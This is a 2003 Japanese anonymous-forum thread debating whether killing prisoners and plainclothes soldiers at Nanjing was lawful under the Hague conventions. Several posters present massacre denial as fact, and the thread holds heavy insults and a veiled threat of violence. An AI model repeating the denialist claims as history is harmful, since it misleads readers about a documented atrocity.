 但し、実際に起る一切の場合に普く適用すへき規定は、此の際之を協定し置くこと能はさりしと雖、明文なきの故
を以て、規定せられさる総ての場合を軍隊指揮者の擅断に委するは、亦締約国の意思に非さりしなり。
 一層完備したる戦争法規に関する法典の制定せらるるに至る迄は、締約国は、其の採用したる条規に含まれさる
場合に於ても、人民及交戦者か依然文明国の間に存立する慣習、人道の法則及公共良心の要求より生する国際
法の原則の保護及支配の下に立つことを確認するを以て適当と認む。


413 :名無しかましてよかですか?:03/08/23 12:19 ID:v7XPPEIf
だからもういいって、その捕虜とか便衣兵の処刑の合法・違法議論は。
過去スレでさんざんやりまくってるからそれ読め。


414 :名無しかましてよかですか?:03/08/23 13:31 ID:H2NJzK+C
>>410>>412
>通説は,軍事的必要を理由に戦闘法規の緩和は認めない。

ハーグ法を中心的に推進したのがロシア・ドイツだが、後の独露戦争
でも両国とも条規を守れていない、今日ですらゲリラ戦法に関して
の条規との取り扱いは軍事的必要とのからみが解決されていないからこそ
国により対応のわかれるところである。

戦争の惨害を努めて軽減するための希望をもって定められた条規
前文で「軍事上の必要があれば守らなくていいですよ」と露骨に
解釈される表現は出来ないのは当然。
「通説は,軍事的必要を理由に戦闘法規の緩和は認めない。」なる
ものは現実ばなれの机上の空論であり、実務上そのような発言は
相手にされない事は言うまでも無い。

だからこそハーグ法は「軍事上の必要の許す限り希望をもって定められたもの」
なのです。過去から現在まで厳密に遵守されてきた事の無いハーグ法
で裁かれた例がほとんど無い事がこの法の限界を物語っています。
その現実を無視した虐殺派の主張は救いようの無い妄想として実際には相手に
されてないのです。

415 :名無しかましてよかですか?:03/08/23 13:59 ID:ccVvY7mU
ハーグ法は今ですら「希望法」ってことだ。

416 :名無しかましてよかですか?:03/08/23 14:22 ID:CUzRwrZF
人道重視の建前としてのハーグ法は存在価値は否定できないが、
現実の国際社会ではその通りだね。

まして第二次大戦までの南京問題当時じゃ尚更だろ。
そのへんの実情を踏まえた議論ができないところに虐殺派の
限界と言うか、何が何でも日本を貶めたいと言う恣意性を感じる
のは俺だけじゃないだろ。

417 :名無しかましてよかですか?:03/08/23 14:46 ID:TSXAYjL6
法律で食っている222がマルテンス条項知らないようだw
しかも「通説は,軍事的必要を理由に戦闘法規の緩和は認めない。」
だってよw
通説じゃなく、建前なんだよ。
222は現実の国際社会に相手されていない法律家ってのがよくわかったよ。
おまえがいつも食っているのは「泡」だろ?w

418 :222:03/08/23 14:57 ID:8tAcCnwq
>>414
 いくら指摘しても,自分の凝り固まった思いこみを抜けきれないのか?
 世界の常識に,脳内の常識で逆らってどうする。

http://www.jrc.or.jp/about/humanity/icrc.pd
http://www.lib.fukuoka-u.ac.jp/~camp/Kanpo/no59/5901.htm

419 :222:03/08/23 15:01 ID:8tAcCnwq
>>417
 建前かもしれないなあ。負けた国だけ処罰されるのは不公平だという心理は理解できるよ。
でも,適法とは言えない。みんな破っていた可能性はあるが,違法だったんだよ。

 スピード違反だって,警察に見つかったら切符きられる。,みんなやっていると言えば違法でなくなるわけではない。

420 :名無しかましてよかですか?:03/08/23 15:20 ID:TSXAYjL6
でたらめ法律家「222の言う世界の常識」を現在の中東の惨状を例に
説明してもらえる?
その作業の過程で条文の脳内解釈のみで判断している222にも
現実の国際社会の常識が見えてくるはずだね。

それとハーグ法違反は見つかっていても裁かれていないんだよ。
スピード違反を例にするなんて流石はいつも泡食ってる法律家だね。

421 :名無しかましてよかですか?:03/08/23 18:21 ID:v7XPPEIf
なんか見ててアホな主張が繰り広げられているのかなとw

そもそも虐殺とはなんぞや、というところから始まっている。
惨たらしく殺す、のような辞書的意味では収まらんから、
不法殺害ということにした。

つまりここで云う虐殺はあくまで国際法違反のものということになる。

この前提を「希望的な法なんだから」云々で否定してどうする?

虐殺であったかなかったか(数とか有無とか含めてね)という事実認定と、
それら行為が非難されるべきものかどうかという評価の話は別のもの。

この程度は区別せい!w

422 :名無しかましてよかですか?:03/08/23 18:35 ID:p/zCAR2o
当たり前の事ですが、
ハーグ法違反行為(中国軍基本方針便衣戦術)を免責する条規は、ハーグ法には
御座いません。(笑

423 :名無しかましてよかですか?:03/08/23 18:56 ID:p/zCAR2o
ハーグ法一条違反行為(中国軍基本方針便衣戦術)によってもたらされ
た惨状が事実であったとしても、その全責任は軍事的必要が許さぬ状況を生ぜし
めた違反行為にある。

ハーグ法違反行為によって生じた軍事的必要による行為は、もはやハーグ法
によって裁かれる事は適切ではない。
つまり
ハーグ法によって保護されるための要件は、ハーグ法を遵守する事が大前提なのである。



424 :222:03/08/23 19:25 ID:8tAcCnwq
>>420
> でたらめ法律家「222の言う世界の常識」を現在の中東の惨状を例に
> 説明してもらえる?
 いったい何をどう説明せよと言うのかな。
 何を聞かれているか分からないんだがね。

> それとハーグ法違反は見つかっていても裁かれていないんだよ。
 どこでこんな嘘仕入れたか知らないが,日本軍も陸戦法規違反の中国兵を
軍律法廷で裁いている例もあるんだが。軍事裁判による処罰は,国際慣習法
だぞ。

>>421から423
 相手が,交戦法規を守らなかったからと行って,自分たちが守らないでも良いということはない。
復仇という例外はあるが,要件は厳しいぞ。




 


425 :名無しかましてよかですか?:03/08/23 21:40 ID:cd61SCGb
>相手が,交戦法規を守らなかったからと行って,自分たちが守らないでも良いということはない。

で、明らかな違法中国軍の基本方針便衣戦術や米国の原爆投下、ソ連による
シベリア強制抑留はさばかれたんか?
そっち先に裁いてもらわんことには筋通りまへんわな泡食い法律家222

>相手が,交戦法規を守らなかったからと行って,自分たちが守らないでも良いということはない。

だから、421から423は軍事上の必要が生じて守れなかったと言ってるんじゃ
ないのかよ。やくざの俺でもわかるぞ如何様法律家〜しっかりせんかいアポ〜

426 :名無しかましてよかですか?:03/08/23 21:50 ID:cd61SCGb
> でたらめ法律家「222の言う世界の常識」を現在の中東の惨状を例に
> 説明してもらえる?
 いったい何をどう説明せよと言うのかな。
 何を聞かれているか分からないんだがね。


結局惨状の中東のどのへんにでたらめ法律家「222の言う世界の常識」
が見られるのかちゅうこっちゃないんかい。
ちゃんと答えたらんかいドアホ〜



427 :名無しかましてよかですか?:03/08/23 21:55 ID:56otRxNs
横から失礼します。

慣習法の意味を>>222さんはご存知なのだろうか?

戦争中に
自国が損害を被ってでも敵国の人間を救わねばならないという
慣習がどこにあるのでしょうか?

428 :222:03/08/23 22:49 ID:8tAcCnwq
>>425
> で、明らかな違法中国軍の基本方針便衣戦術や米国の原爆投下、ソ連による
> シベリア強制抑留はさばかれたんか?
> そっち先に裁いてもらわんことには筋通りまへんわな泡食い法律家222
 我々の先輩達が,米国の原爆投下とソ連のシベリア抑留については,違法であることを裁判で認めさせている。
請求自体は認められなかったが,
 戦争犯罪人の処分については,上記二つについては残念ながら戦勝国であり裁判が実現していない。それでも,
重大な戦争犯罪について裁く道筋ができたということで「東京裁判」を評価するのが藤田先生など多数の見解だ。
この流れが,ウガンダや,カンボジア,ユーゴスラビアの戦争犯罪に追求につながっている。
 「便衣戦術」については,日本軍が軍律法廷で裁いているぞ。しかし,ゲリラ戦術については,今日まで一貫して
交戦資格を認める方向に動いているのが,常識だが。

> >相手が,交戦法規を守らなかったからと行って,自分たちが守らないでも良いということはない。
>
> だから、421から423は軍事上の必要が生じて守れなかったと言ってるんじゃ
> ないのかよ。やくざの俺でもわかるぞ如何様法律家〜しっかりせんかいアポ〜

 軍事的必要は理由にならないと言っているんだぞ。馬鹿か。三度目の説明だ。

>結局惨状の中東のどのへんにでたらめ法律家「222の言う世界の常識」
>が見られるのかちゅうこっちゃないんかい。
>ちゃんと答えたらんかいドアホ〜

 相手に質問するなら,意図が分かるようにしろよ。まだ分からないぞ。具体的に,どのような戦闘行為を法的に検
討しろと行っているのだ?私は,君の頭を割ってみることはできないのでね。

429 :222:03/08/23 22:52 ID:8tAcCnwq
>>427
> 横から失礼します。
>
> 慣習法の意味を>>222さんはご存知なのだろうか?
>
> 戦争中に
> 自国が損害を被ってでも敵国の人間を救わねばならないという
> 慣習がどこにあるのでしょうか?

 いったい私がそんな慣習があるといったか。
 条文がある以上,軍事的必要を理由に条文を無視してはいけないと行っているのだ。

 慣習法は,ハーグ陸戦法規制定後に,より人道的な慣習ができたらそれに従うという話だろう。
君が法学部の学生なら,法科大学院をあきらめた方が無難だね。

430 :名無しかましてよかですか?:03/08/23 23:27 ID:/Lmeza8M
ちょと基本的な質問。
>相手が,交戦法規を守らなかったからと行って,自分たちが守らないでも良いということはない。
という基本理念は賛成というか分かるのだが、
この当時他の国はハーグ法を準拠していたのだろうか?
誰も守っていないのなら国際慣習法は成立しないのでは?
現代のような(最近の様な)戦争形態なら分かるけど。

431 :名無しかましてよかですか?:03/08/23 23:37 ID:KE3y9iTZ
やくざさんの方が222より正しいと思うよ。

>我々の先輩達が,米国の原爆投下とソ連のシベリア抑留については,違法であることを裁判で認めさせている。
ソース。それと
明らかな違法中国軍の基本方針便衣戦術はどうなったの?
「東京裁判」は明らかに片手落ちだね。

>重大な戦争犯罪について裁く道筋ができたということで「東京裁判」を評価する
未だに事実証拠のない戦勝国によってでっちあげられた犯罪が重大な戦争犯罪?
米国の原爆投下とソ連のシベリア抑留の方が遥かに重大だよ。

>軍事的必要は理由にならないと言っているんだぞ。馬鹿か。三度目の説明だ。
前文に「軍事上の必要の許す限り」って書いてあるよ。君こそバカ?

>相手に質問するなら,意図が分かるようにしろよ。まだ分からないぞ。
ぼくも意図わかるけど?君が逃げてるだけにしか見えないよ。

>私は,君の頭を割ってみることはできないのでね。
やくざさんはたぶん君の頭割ってみる事できると思うから気をつけたほうがいいよ。

>条文がある以上,軍事的必要を理由に条文を無視してはいけないと行っているのだ
だから無差別じゃなくて便衣兵の摘出までしているんだから無視していないよ。
条文を無視しているのは中国軍の便衣戦術だよ。

>君が法学部の学生なら,法科大学院をあきらめた方が無難だね。
君こそとても公平な法律家とは言えないから除名だよ。

432 :そりゃ:03/08/23 23:40 ID:Adi3dcMD
韓国は日本に占領されて、儒教的価値観からある程度抜け出し
近代化の要因になっている

これは事実 しかし占領の正当化を意味しない

これと同じで アメリカに負けて憲法作ってもらって近代化できた

天皇制が云々、南京虐殺云々、
あほらしいよね、前を向こうよ、お前ら

433 :222:03/08/24 14:17 ID:qxgvoX2L
>>431
> >我々の先輩達が,米国の原爆投下とソ連のシベリア抑留については,違法であることを裁判で認めさせている。
> ソース。それと
 原爆投下(東京地裁昭和38年12月7日判決)
>従つて、原子爆弾による爆撃が仮に軍事目標のみをその攻撃の目的としたとしても、原子爆弾の巨大な破壊力から盲目爆撃と同様な結果を生ずるものである以上、
広島、長崎両市に対する原子爆弾による爆撃は、無防守都市に対する無差別爆撃として、当時の国際法からみて、違法な戦闘行為であると解するのが相当である。
のみならず、広島、長崎両市に対する原子爆弾の投下は、戦争に際して不要な苦痛を与えるもの非人道的なものは、害敵手段として禁止される、という国
際法上の原則にも違反すると考えられる。
 シベリア抑留(最高裁第1小法廷平成9年3月13日判決)
>我が国がポツダム宣言を受諾し、降伏文書に調印したことにより、上告人らを含む多くの軍人・軍属が、ソヴィエト社会主義共和国連邦の捕虜となり、シベリア
地域の収容所等に送られ、その後長期間にわたり、満足な食料も与えられず、劣悪な環境の中で抑留された上、過酷な強制労働を課され、その結果、多くの人命
が失われ、あるいは身体に重い障害を残すなど、筆舌に尽くし難い辛苦を味わわされ、肉体的、精神的、経済的に多大の損害を被ったことは、原審の適法に確定
するところであり、上告人らを含むこれらのシベリア抑留者に対する右のような取扱いは、捕虜の取扱いに関し当時確立していた国際法規に反する不当なものと
いわざるを得ない。


434 :222:03/08/24 14:29 ID:qxgvoX2L
>>431
> 明らかな違法中国軍の基本方針便衣戦術はどうなったの?
> 「東京裁判」は明らかに片手落ちだね。
 何を血迷っているんだ。東京裁判は,日本の戦争犯罪を裁くための法廷。
 中国軍の陸戦法規違反は,日本軍が軍律法廷で裁いていたと言っているの。わかる?
まあ,砂漠前に日本軍が殺していたのがほとんどだけど,ちゃんと裁判している例もあるの?
何で,連合軍が,中国軍の処罰をするんだ。ポツダム宣言受諾の意味知っているのか?

> >重大な戦争犯罪について裁く道筋ができたということで「東京裁判」を評価する
> 未だに事実証拠のない戦勝国によってでっちあげられた犯罪が重大な戦争犯罪?
> 米国の原爆投下とソ連のシベリア抑留の方が遥かに重大だよ。
 「でっち上げ」という主観に基づいて議論しても何の意味もない。
 原爆投下とシベリア力驍ェ重要な国際法違反であることは認める。それを放置してきたのは
歴代日本政府だ。

> >軍事的必要は理由にならないと言っているんだぞ。馬鹿か。三度目の説明だ。
> 前文に「軍事上の必要の許す限り」って書いてあるよ。君こそバカ?
 マルテンス条項の意味も説明したのに,本当に頭ざるか?同条項は,明文で禁止されていない
行為についても,人道的な観点により解釈等で制限できること,明文で認められた行為についても
後の国際慣習法で禁止しうることを定めたものだと言っているだろう。国際法の概説書ぐらい読ん
だらどうだ。北のオオカミのでたらめな文章で分かった気になるな。


435 :222:03/08/24 14:34 ID:qxgvoX2L
>>431

> >相手に質問するなら,意図が分かるようにしろよ。まだ分からないぞ。
> ぼくも意図わかるけど?君が逃げてるだけにしか見えないよ。
分かっているなら教えてくれ,何を私は論じればよいのだ。

> >私は,君の頭を割ってみることはできないのでね。
> やくざさんはたぶん君の頭割ってみる事できると思うから気をつけたほうがいいよ。
 脅迫か?まあ,やくざと右翼は同類だからな?
 やくざが怖くて,民暴の弁護士なんかやってられないぞ。

> >条文がある以上,軍事的必要を理由に条文を無視してはいけないと行っているのだ
> だから無差別じゃなくて便衣兵の摘出までしているんだから無視していないよ。
> 条文を無視しているのは中国軍の便衣戦術だよ。
 条文を無視しているから処罰をすればよいといっているのだ。ただそれだけ。なにもす
るなとは言っていない。戦争法規違反に対して認められている対抗手段は基本的には
違反者に対する処罰だ。分かったか?

436 :名無しかましてよかですか?:03/08/24 15:44 ID:3hhVpGZm
法曹界のダメぶりが露呈しているスレはここでつか?(w

437 :名無しかましてよかですか?:03/08/24 16:43 ID:F0wMH7XU
匿名掲示板で、「俺はこれで飯食ってるんだ」なんて何の意味もない。
こーゆー無意味な事をするってのは、あんまり有能ではなさそうね。

438 :名無しかましてよかですか?:03/08/24 17:44 ID:3hhVpGZm
漏れはお箸でメシ食ってます!!w

439 :名無しかましてよかですか?:03/08/24 21:18 ID:TnM92kgu
>>431
>前文に「軍事上の必要の許す限り」って書いてあるよ。君こそバカ?
もともと戦時国際法は「軍事上の必要が優先される戦争」における行為を規制するもの
だから、その条文には既に「軍事上の必要」なんてのは織り込み済みなんだよ。

藤田教授の「国際人道法」にはこうあるぞ。

「そもそも、戦争法、人道法の諸規定は軍事必要により多くの行動がすでに許容される
武力紛争という緊急状態においてなお遵守が要請されるものであるから、それらの規定
は予め軍事必要を考慮に入れたうえ作成されている。したがって、条約規定中、とくに
「緊急な軍事上の必要がある場合」とか「軍事上の理由のために必要とされるとき」と
いった条項が挿入されている場合を除き、戦数や軍事必要を理由にそれらを破る
ことは許されない。」

おい、ちゃんと理解できるか?

440 :名無しかましてよかですか?:03/08/24 21:59 ID:6XavWlZ/
大日本帝國万歳!!
http://members.tripod.co.jp/almond_choco11/kaiten.swf
http://noigel.hp.infoseek.co.jp/swf/kakutatakaeri.swf




441 :名無しかましてよかですか?:03/08/24 21:59 ID:R8mn9Q7y
>>437
またまた虐殺派ハッタリ詐欺師反日危地害君が
妄想120%全開中ですか?よく出るんですよ。
気にしないでくださいw。

442 :名無しかましてよかですか?:03/08/24 22:27 ID:TnM92kgu
できることはせいぜい相手の人格攻撃かw

443 :編集者:03/08/24 23:33 ID:3hhVpGZm
>>222 様が登場して以来の数々の珍場面をこのたび編集する
ことになりました。
つきましては現在、以下の語録を編集中です。ご参考までに。

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
でばかなすりかえの部分
ばかばかしい。
君みたいな奴がいるから,南京事件が起こったんだな。
最近日本の治安が悪化したのは君たちのような
誰がみていなくてもお天道様がみているという日本の
古き良き伝統を破壊する
奴がいるからだ。
あきれてものが言えない。君の理屈が世の中で通用す
ると思うな。
莫大な数の意味も知らないほど日本語に不自由か?
少女を
だまして連れて行って売春を強要しても「正当な商行
為」と考える人たちだものな。
ていぞう
豪華印字県
日本の中でも世界の
中でも南京事件を否定する輩が,トンデモくんなのだ。
自覚無いのか?
 それこそ,加害証言は全部中国共産党の洗脳なんだろう?
まともな人間は,こんなトンデモ話信じないぞ。




444 :名無しかましてよかですか?:03/08/24 23:34 ID:TnM92kgu
やはりできることといえば人格攻撃と印象操作くらいが関の山かw

445 :編集者:03/08/24 23:35 ID:3hhVpGZm
<続き>

 お休み。自虐君。
せめて,南京事件否定派は,ナチのガス室はなかった派と世界的には
同レベルに見られていることくらい自覚しような?
事実確認は,必要だろうな。同時に,強制されない不利益な事実の告白が真
実を述べている可能性が高いのは,古今東西,普遍の経験則だぞ。
もう一度,聞くぞ。君たちが世界中で「トンデモ」扱いされていることは
認識しているのか。ネオナチと同類扱いがうれしいか?
君は,馬鹿か。ほんとにあきれ果てる。嘘付け。卑怯な奴
だな。
否定派が嘘を繰り返し垂れ流すから,それが通説のよう見えるだけだ。
私が,事実認定と,法解釈について,断定するのは,当たり前だ。
俺は,これで食っているんだ。
だから馬鹿だというのだ。
私は,君の頭を割ってみることはできないのでね。
君が法学部の学生なら,法科大学院をあきらめた方が無難だね。

446 :編集者:03/08/24 23:38 ID:3hhVpGZm
これらはすべて>>222様の<主観>によりその時時の相手に
浴びせられた珍発言(いわれのない人格攻撃)です(w

447 :名無しかましてよかですか?:03/08/25 00:02 ID:i7nrrzxR
ふと思うことがあるのだが、虐殺派ってのは
現実世界では誰にも相手にされない寂しい人なのでは
ないかなと・・。

虐殺派になって「あった!あった!」と騒いでいれば
誰かしら熱心に相手してくれる人がいるじゃん?
「俺はここで生きているぞ!」と生の喜びをその瞬間だけ
感じることが出来ると。


448 :名無しかましてよかですか?:03/08/25 00:08 ID:a6uRxjJv
>447
ふと気付かんでも、イザヤベンダサンの昔からまぼろし派の専売特許
だよそれは。

449 :名無しかましてよかですか?:03/08/25 00:10 ID:i7nrrzxR
何年間も何年間も何度も何度も論破され続けようとも
証明することをばっくれ続けてひたすら同じ事を延々と
繰り返したりして、俺には虐殺派のその行為が
「見捨てないで!見捨てないで!」という懇願に聞こえる。


                 
                 見捨てたけどw。

450 :名無しかましてよかですか?:03/08/25 00:13 ID:i7nrrzxR
>>448
そうだったんですか。やはり皆同じ印象を持つのですな。


451 :356:03/08/25 10:24 ID:cph278Nd
>>439
それは藤田教授の詭弁だよ。
例えば、人間の法は動物には適用しないでしょ?
法を作る側は「人間にしか適用しない」ってのはあらかじめ考慮してあるんだから。
でも、人間の法の各条項に
「人間でない場合を除き」
って但し書きしてあるかい?無いでしょ?
そこに藤田教授の論法を持ち込むと
「人間でない場合を除く、という条項が挿入されてないので動物にも適用」
という事になる。おかしいでしょ?

452 :356:03/08/25 10:27 ID:cph278Nd
あと、これはずっと思ってた事なんだけど、
「国際法違反かどうか」って、南京事件と関係あるのかな?
例えば30万どころか100万くらい殺してたとして、
それでも合法だったら虐殺じゃなくて、
逆に10人くらいしか殺してなくても違法だったら虐殺?
そんな単純な議論なのかなぁ?違うと思うんだけど。

それに国際法に罰則規定無いしな。

453 :222:03/08/25 11:57 ID:0WvftNSD
>>i7nrrzxR
 だから馬鹿にされるのだ。「まぼろし派」とは,君たちのことだよ。
>>451
 ずいぶん偉いんだな。藤田先生を詭弁というか。
 戦数否定論,軍事的必要否定論いずれも,学会の圧倒的通説だ。というより,戦数論も,軍事的必要論も
学説的には,消えつつある立場だ,南京事件のまぼろし派と同じようにな。

>>編集者君
 何だ,肝心の論拠は全部カットかね。そうだろうな,論拠をかかれると批判の正当性がばれるものな。
見事な印象操作だね。

 てい造は,俺じゃないぞ。俺のミスは変換ミストタイプミスだ。
俺も笑ったと書いたのは,人様のミスがおかしくて笑ったという意味だが。文体からして,てい造くんとは違うだろうに。


454 :222:03/08/25 12:00 ID:0WvftNSD
>>451
 書き忘れ
>「人間でない場合を除く、という条項が挿入されてないので動物にも適用」
>という事になる。おかしいでしょ?

 法規範の名宛人は,「人」なの,法学の基本的な前提。おかしいのは君の方。

455 :編集者:03/08/25 12:31 ID:Y0+haK9Q
>>453
1編集者として
>何だ,肝心の論拠は全部カットかね。そうだろうな,論拠をかかれると批判の正当性がばれるものな。
>見事な印象操作だね。
>てい造は,俺じゃないぞ。俺のミスは変換ミストタイプミスだ。
>俺も笑ったと書いたのは,人様のミスがおかしくて笑ったという意味だが。文体からして,てい造くんとは違うだろうに

というご指摘を誠実に受け止めたいと思います。
調査をいたしまして、改めてご返答させていただきます。ご指摘ありがとうございました。

逆に1人間としてご指摘させていただきます。
113氏、356氏が延々ご指摘されてる件ですが

当方の抜粋いたしました222氏の書き込みで
>「トンデモ扱い」
>「ネオナチと同類扱い」
などのことですが、これの原因はそもそも中国側のウソ発表である「南京大虐殺 犠牲者30万人以上」
を真実と思わされてる一般の人々のイメージと学者たちの話し合う「南京事件」の話とで前提が違うから
おきていることであり、実際の根の深い問題点を知っている人々(研究者・学者etc)の間で誠実に話し
合う限りこのようなレッテルを持ち出すことはありえないのです。

誠実に話し合う心算なら、相手のいかなる疑問(それが罵倒目的や人格否定目的でない限り)はすべて誠実に
答えようとするものではないではないでしょうか?
お分かりでしょうが、わずか230ほどのスレ進行で222氏が発言されたものから
>>443 >>445 のカキコ全てが抜き出せます。
相手を罵倒するのは圧倒的に222氏が大量なのです。
そこに誠実さがあるのでしょうか?




456 :名無しかましてよかですか?:03/08/25 13:06 ID:a6uRxjJv
222もかわいそうに、ヘンな連中に絡まれて。


457 :222:03/08/25 13:10 ID:0WvftNSD
>>455
 これに対する反論であったことは無視かね。
>246 :113 :03/08/19 23:47 ID:7cA0Dxwi
>>222

>は

>例えとして非常にアレなんだが

>矢追純一のUFO本とかマジで信じてしまうタイプかな?

>あれも政府の圧力で写真公開者は不明とか多かったよねw
>アレも全て真実と信じるわけか・・・・・・・・。

>条件的には非常に似てる。

>そうか

>南京大虐殺=MJ12 なのであったかw




458 :356:03/08/25 13:11 ID:cph278Nd
>222
>>379
>>382-383
このあたりに対し貴殿からいまだ回答が無いので、
>>453-454の発言も「無いもの」と判断しスルーします。

459 :356:03/08/25 13:14 ID:cph278Nd
勘違いされると困るので補足、>>382-383は私の発言ではありません。
ただ>>382-383に私も同意なので、一緒に挙げておきました。よろしく。

460 :編集者:03/08/25 13:23 ID:Y0+haK9Q
>>457

113氏も直接的な罵倒ほどではないですが、揶揄表現を使われてますね。
ですが、議論を成立させようという意思を113氏が持っていることは
随所の書き込みで見受けられます。
それに対して222氏は反論の端々をつまみ食いして反論したつもりにな
っています。
どだい、議論というものは1個人の観念でそのセオリーが決定されるも
のではありません。進行方法などの提言に対して一切返答されない222
氏は、果たしてこの場で何をされたいのでしょうか?
正直、私がよくお会いする革新的考えの固定観念保持者に重なる面が
多いので老婆心ながら心配になります。

461 :名無しかましてよかですか?:03/08/25 13:28 ID:a6uRxjJv
>113氏も直接的な罵倒ほどではないですが、揶揄表現を使われてますね。
>ですが、議論を成立させようという意思を113氏が持っていることは
>随所の書き込みで見受けられます。

公平・冷静を装うにしては、 この辺の一方的認識が問題。


462 :356:03/08/25 13:38 ID:cph278Nd
>ID:a6uRxjJv
「222の意見」をフォローするんでなく「222個人」のフォロー、
必死すぎて逆にハナにつく。222の自作自演じゃなかろうな(笑)

真面目な話、このスレ内で「議論以外の問題」でつっこまれてるのは、
誰がどう見ても222ただ1人。一方的でも何でも無い。
222の理論や意見が問題なのではない。それくらい分かれ。

463 :名無しかましてよかですか?:03/08/25 13:42 ID:5Q5derCY
>>461
まさしく「装ってるだけ」だからではないでしょうか。
南京事件とは何の関係もない個人のつるし上げ(443、445あたり)を
見れば、この人物の目的が建設的な議論以外にあるのは明らかですね。

あと222氏も少し冷静になるように。
真っ当なこと書いていたとしても、態度がそれでは否定派に逃亡の口実を
与えるだけです。

464 :名無しかましてよかですか?:03/08/25 13:48 ID:a6uRxjJv
>真面目な話、このスレ内で「議論以外の問題」でつっこまれてるのは、
>誰がどう見ても222ただ1人。一方的でも何でも無い。
>222の理論や意見が問題なのではない。それくらい分かれ。

だれが見ても、222と356と編集者とかいう「3人」しかレスして
ないと思うのだがねえ。「222、ただ1人」なんて力みかえって言わ
なくても・・


465 :222:03/08/25 14:04 ID:0WvftNSD
???


466 :356:03/08/25 14:17 ID:cph278Nd
>>464
>だれが見ても、222と356と編集者とかいう「3人」しかレスして
>ないと思うのだがねえ。

ID:a6uRxjJvには名無しさんのレスは見えない模様(笑)
あと、上記以外で222が「議論以外の部分」につっこまれてる例↓
>>417 >>420 >>426 >>431 >>436 >>437

それに、これは発言者数の問題ではない、よく読め。
肯定派は222だけではないのに、
議論の「姿勢」につっこまれてるのは222だけだという事だ。
>>463に対しても言いたいのだが、
222につっこんでる香具師が建設的でない、のではなく
そもそも222が建設的でないからつっこんでる、のだ。

この件に関しての漏れの発言はとりあえず終わり。以後スルー。
これにいつまでも関わってても議論が進まないし、
何よりあんたら聞く耳持たないだろうし。あとは第三者に任せる。

467 :222:03/08/25 14:25 ID:0WvftNSD
>>356
 じゃあ恥をかかせることになるけど復習 その1

私の書き込み
 何だ,結局石川が南京事件はなかったといったという話ではなかったのだな。
「生きている軍隊」は,元々フィクションだ。南京事件の資料だという学者な
どいない。南京事件はなかった。当時は誰もしらかなったという否定派に対し
て,石川が「生きている軍隊」を書いている。当時から南京事件を知っていた
日本人もいたという証拠なのだ。君も認めているとおり,少なくとも,伝聞で
石川は南京事件のことを知っていたのだよ。日本人は知らなかったという主張
に対する弾劾の資料だよ。
 この「生きている軍隊」は,「生きている兵隊」の誤り


生きている兵隊」は当時書かれた著書なんですか?へえー・・・


 ひょっとして,単行本しか知らないのかな?掲載した昭和13年3月の「中央公論」が即日発禁になったことも知らないかな。
まさか,3ヶ月たっているから,当時とは言わないなどといわないでくれよ。

 「生きている兵隊(軍隊は間違いだったな)」が昭和13年3月に掲載されたことは理解できたか。


あ、これ見逃してましたね、失礼。
しかしアレですね、本当に「当時」ですね。
東京裁判の直後くらいかと思ったのですが、南京戦の直後ですね。
つまり「南京事件とは何を指すのか」という定義自体が生まれる以前ですね。
さて、それを踏まえた上で、この件の発端である>>265をもう1度見ます。





468 :名無しかましてよかですか?:03/08/25 14:25 ID:5Q5derCY
>>466
「つっこむこと」ではなく「つっこみの仕方」が建設的ではないと言っています。
罵倒や個人攻撃はk-kスレででもどうぞ。
……と言っても聞く耳持たない人は大量にいるんでしょうけどね。
はあ、やれやれ。



469 :222:03/08/25 14:27 ID:0WvftNSD
その2

 あれあれ?南京事件の定義そのものが存在しない昭和13年3月の著書なんですよね?
なぜそれが「南京事件を」知っていた証拠、という事になるんでしょうか?
石川さんという人は超能力者だったんでしょうか?


南京事件などがなかった,その証拠に日本人は誰も南京で日本軍が蛮行を働いたこ
とは知らないという主張に対して,南京で日本軍が蛮行を働いていたことを当時の日本
人が知っていた証拠だろう。何か,石川氏が「生きている兵隊」で南京事件というのを
日本軍は犯していまして等と書いたあったとお前は読んだのか。
 その程度の読解力に奴を相手にしなければいけないとは,困ったもんだ?


言葉がすり変わっています。元のあなたの発言では、
上記文内の「日本軍の蛮行」は「南京事件」でしたよね?
しかし「蛮行=事件」ではありませんよね?「事件」と「蛮行」では全く意味が違います。
戦争してるんだから、残虐な場面というのはいくらでもあるわけで、
それらが「事件と呼ぶに値するものかどうか」というのは、
後になって検証しなければ判断できないものです。
逆に聞きますが、ここではあなたは「蛮行」という言葉を用いていますが、
では日本軍の蛮行は南京でしか行われなかったのですか?
そうでなければ「蛮行=事件」とはなりませんよね?
要するにこちらが何を言いたかったのかというと、
「蛮行(殺戮、強姦等)があった事」と「事件があった事」では意味が違う、という事です。
にも関わらず、あなたは当時の日本人が南京「事件」を知っていた、
と述べていたので、それは違うのでは?という事です。


470 :名無しかましてよかですか?:03/08/25 14:31 ID:a6uRxjJv
>>466
確かによくみりゃ、他のやつもレスしているな。すまんすまん
あまりに君が「長くて・しつこい」レスばかりなんで読み飛ばしちゃったよw

471 :222:03/08/25 14:52 ID:0WvftNSD
>>356
 君は,否定派の典型だよ。言葉尻をとらえて,本質の議論から目をそらさせようとする。
ここまで言わないとだめか。石川が描いた「日本軍の蛮行」が後に「南京事件」とか「南京
大虐殺」と言われるものなんだよ。

 君ではないかもしれないが,「莫大」を巡る議論もそうだ。否定派の諸君は,繰り返し
莫大派どのくらいの数を言うのかと問う。私がたとえば2万といったとする。そうすると否定派
は,「小川の内心がどうして分かる。」,「2万が莫大だというのはどういう根拠だ。」とやるに決
まっている。
 莫大とは,数えられないほどの強姦があったということだ。小川はそう認識していることこそ
重要なのが,否定派は分からない,いや,あえてそこに目をつぶり,数の問題に矮小化しよう
する。これが,まともな議論をする態度か。
 
 君たちのそのような姿勢こそが,まじめに事件を検討しようとする態度ではない。検事ですら
不平等だから,強姦犯を起訴することをためらう事態がどういう事態か,まじめに考えたことが
あるか。
 自分の国を誇りたいという気持ちは誰にでもある。私は,過去もきちんと認めて清算できる
そういう面でも誇るべき国にしたいだけだ。

472 :356:03/08/25 15:09 ID:cph278Nd
>>471
終わり・・・かな?レスしていい?

>石川が描いた「日本軍の蛮行」が後に「南京事件」とか「南京大虐殺」と言われるものなんだよ。

そうです、「後に」言われるものです。
で、あなたは「南京事件を」当時の日本人が知っていた、と言いましたよね?
後に言われるはずのものを、なぜ当時の石川が「これは南京事件だ」と認識していたのですか?
言葉尻、といいますが、時系列は歴史議論において重要です。
南京事件の定義は石川の手記より後に成立しているのです。
後からできた定義を先のものにあてはめるのは議論の進め方として正しくない、という事です。
例えば、中国の主張する「南京事件被害者」の数がどんどん増えているのは、
